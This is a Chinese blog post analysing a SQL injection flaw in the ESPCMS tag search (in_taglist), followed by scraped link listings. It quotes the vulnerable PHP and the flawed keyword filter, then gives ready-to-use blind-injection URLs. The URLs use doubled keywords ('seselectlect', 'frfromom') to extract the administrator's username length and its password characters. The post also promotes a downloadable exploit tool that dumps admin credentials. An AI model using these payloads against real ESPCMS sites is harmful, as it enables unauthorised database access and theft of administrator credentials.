漏洞:Espcms 通杀 SQL注入漏洞分析附EXP
漏洞作者:Seay
博客:www.cnseay.com

官网介绍:

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。

收录85W

漏洞在interface/search.php文件和interface/3gwap_search.php文件in_taglist()函数都存在,一样的问题,以

interface/search.php为例说明:

function in_taglist() {parent::start_pagetemplate();include_once admin_ROOT . 'public/class_pagebotton.php';$page = $this->fun->accept('page', 'G');$page = isset($page) ? intval($page) : 1;$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;$tagkey = urldecode($this->fun->accept('tagkey', 'R'));$tagkey = $this->fun->inputcodetrim($tagkey);$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';if (empty($tagkey)) {$linkURL = $_SERVER['HTTP_REFERER'];$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);}if (!empty($tagkey)) {$db_where.=" AND FIND_IN_SET('$tagkey',tags)";}$pagemax = 20;$pagesylte = 1;$templatesDIR = $this->get_templatesdir('article');$templatefilename = $lng . '/' . $templatesDIR . '/search';$db_table = db_prefix . 'document';$countnum = $this->db_numrows($db_table, $db_where);if ($countnum > 0) {$numpage = ceil($countnum / $pagemax);} else {$numpage = 1;}$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);$sql = $this->htmlpage->PageSQL('pid,did', 'down');$rs = $this->db->query($sql);while ($rsList = $this->db->fetch_assoc($rs)) {

由于$tagkey变量使用了urldecode,从而可以绕过GPC,最终

$db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;

$tagkey被带入SQL语句。

可以看到下面有

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";

也被带入数据库查询,两条语句可以注入,可以看到第二条SQL语句是可以查询出数据的。但是由于espcms默认配置是不显示SQL语句错误的,而第一条SQL语句查询出来的是count(*),即int,

更蛋疼的是只要第一条查询报错,第二条就不会执行。所以只有用第一条盲注来搞了。

漏洞测试EXP:http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527

由于espcms本身有防注入函数,在文件

public\class_function.phpinputcodetrim()函数。

function inputcodetrim($str) {if (empty($str)) return $str;$str = str_replace("&amp;", "&", $str);$str = str_replace("&gt;", ">", $str);$str = str_replace("&lt;", "<", $str);$str = str_replace("&lt;", "<", $str);$str = str_ireplace("select", "", $str);$str = str_ireplace("join", "", $str);$str = str_ireplace("union", "", $str);$str = str_ireplace("where", "", $str);$str = str_ireplace("insert", "", $str);$str = str_ireplace("delete", "", $str);$str = str_ireplace("update", "", $str);$str = str_ireplace("like", "", $str);$str = str_ireplace("drop", "", $str);$str = str_ireplace("create", "", $str);$str = str_ireplace("modify", "", $str);$str = str_ireplace("rename", "", $str);$str = str_ireplace("count", "", $str);$str = str_ireplace("from", "", $str);$str = str_ireplace("group by", "", $str);$str = str_ireplace("concat", "", $str);$str = str_ireplace("alter", "", $str);$str = str_ireplace("cas", "cast", $str);$str = preg_replace("/<span[^>]+>/i", "<span>", $str);$str = preg_replace("/<p[^>]+>/i", "<p>", $str);$str = preg_replace("/<font[^>]+>/i", "<font>", $str);$str = preg_replace("/width=(\'|\")?[\d%]+(\'|\")?/i", "", $str);$str = preg_replace("/height=(\'|\")?[\d%]+(\'|\")?/i", "", $str);$str = preg_replace("'<style[^\f]*?(\/style>)'si", "", $str);return $str;}

只是把关键字替换为空,例如union可uunionnion绕过本身防注入,还可以无视不拦截单引号的waf。

猜解用户名长度

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

爆破用户名和密码:

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay

写了个Exp,下载地址

使用方法:espcms_exp_by_Seay.exewww.cnseay.com

即可自动爆出表前缀、用户名、跟密码。

最终上个官网的图:

Espcms通杀SQL注入漏洞分析(附EXP)相关推荐

  1. recommend.php sql注入漏洞,Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操 ...

  2. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  3. /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -

    DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...

  4. php cms 代码注入,PHPCMS全版本通杀SQL注入漏洞

    漏洞分析 首先看下面的代码 /phpcms/modules/member/content.php 202行 edit函数 [php] public function edit() { $_userna ...

  5. JDBC的SQL注入漏洞分析和解决

    SQL注入漏洞分析 SQL注入漏洞解决 需要采用PreparedStatement对象解决SQL注入漏洞.这个对象将SQL预先进行编译,使用?作为占位符.?所代表内容是SQL所固定.再次传入变量(包含 ...

  6. 易想团购 注入 user.php,易想购物(easethink)存在sql注入漏洞,附利用测试POC

    漏洞概要 缺陷编号:WooYun-2013-022023 漏洞标题:易想购物(easethink)存在sql注入漏洞,附利用测试POC 相关厂商:易想购物 漏洞作者:lxsec 提交时间:2013-0 ...

  7. 【某CMS漏洞】SQL注入漏洞分析

    前言 这个CMS非常适合入门代码审计的人去学习,因为代码简单且漏洞成因经典,对一些新手有学习价值, 前台注入 从入口开始:/semcms/Templete/default/Include/index. ...

  8. wordpress漏洞_多个WordPress插件SQL注入漏洞分析

    背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...

  9. Metinfo 5.3.17 前台SQL注入漏洞分析及实验

    2017年08月07日  漏洞分析                作者:phith0n@长亭科技 原文地址:https://paper.seebug.org/371/ Metinfo 8月1日升级了版 ...

最新文章

  1. 使用Oracle创建图书馆数据库
  2. feignclient对象找不到_为什么我找不到对象呢,一个33岁大龄剩女的疑惑
  3. 强连通Tarjan NYOJ 120 校园网络
  4. tcp 四次挥手_TCP三次握手和四次挥手通俗理解
  5. nginx nodejs环境配置_nodejs + nginx + ECS阿里云服务器环境设置
  6. 使用 IntraWeb (12) - 基本控件之 TIWGradButton、TIWImageButton
  7. 专栏:谈谈我对当下大数据整顿的理解与风控建议
  8. ios-UIViewController和魔态视图的应用以及设备支持方向的设置
  9. web自动化测试python+selenium学习总结----selenium安装、浏览器驱动下载
  10. 21个以Bootstrap为框架的WordPress免费主题模板下载
  11. 【重要通知】结构设计新班开课——本轮主讲电动牙刷产品结构设计
  12. mtk android内核代码,mtk log系统详解
  13. java多个文件加密压缩_java中文件如何加密压缩?
  14. 推荐几款优质 Mac 软件下载网站 - 从此告别软件荒
  15. 【Windows】【VS】error C2220: 以下警告被视为错误
  16. python中breakpoint_Python3.7 特色(2)-breakpoint 內建除錯
  17. Java LTS版本——Java 11新特性
  18. 昭阳区计算机学校,2019昭通中职学校名单大全
  19. loadrunner11免费下载地址
  20. php正方系统抓取课表,以正方教务系统为例,用php模拟登陆抓取课表、空教室,抓取课表...

热门文章

  1. 配置 Hibernate 以使用 C3P0 连接池
  2. 题目87:在欧几里德几何中,n边形的内角和是(n-2)*180°。已知其中(n-1)个内角的度数,就能计算出剩下的一个未知内角的度数。请编写一个程序,来解决这个问题。
  3. 数据挖掘-决策树ID3分类算法的C++实现
  4. sqluldr2导出
  5. 手把手教你开发一款IOS飞行射击游戏(完)
  6. 基于VMware从零搭建Linux系统
  7. 免费的开源linux连接工具MobaXterm分享
  8. 计算机一级需要考哪些项目,计算机一级考什么
  9. ESET本地更新下载最新病毒库.BAT
  10. redis入门及其集群搭建、哨兵模式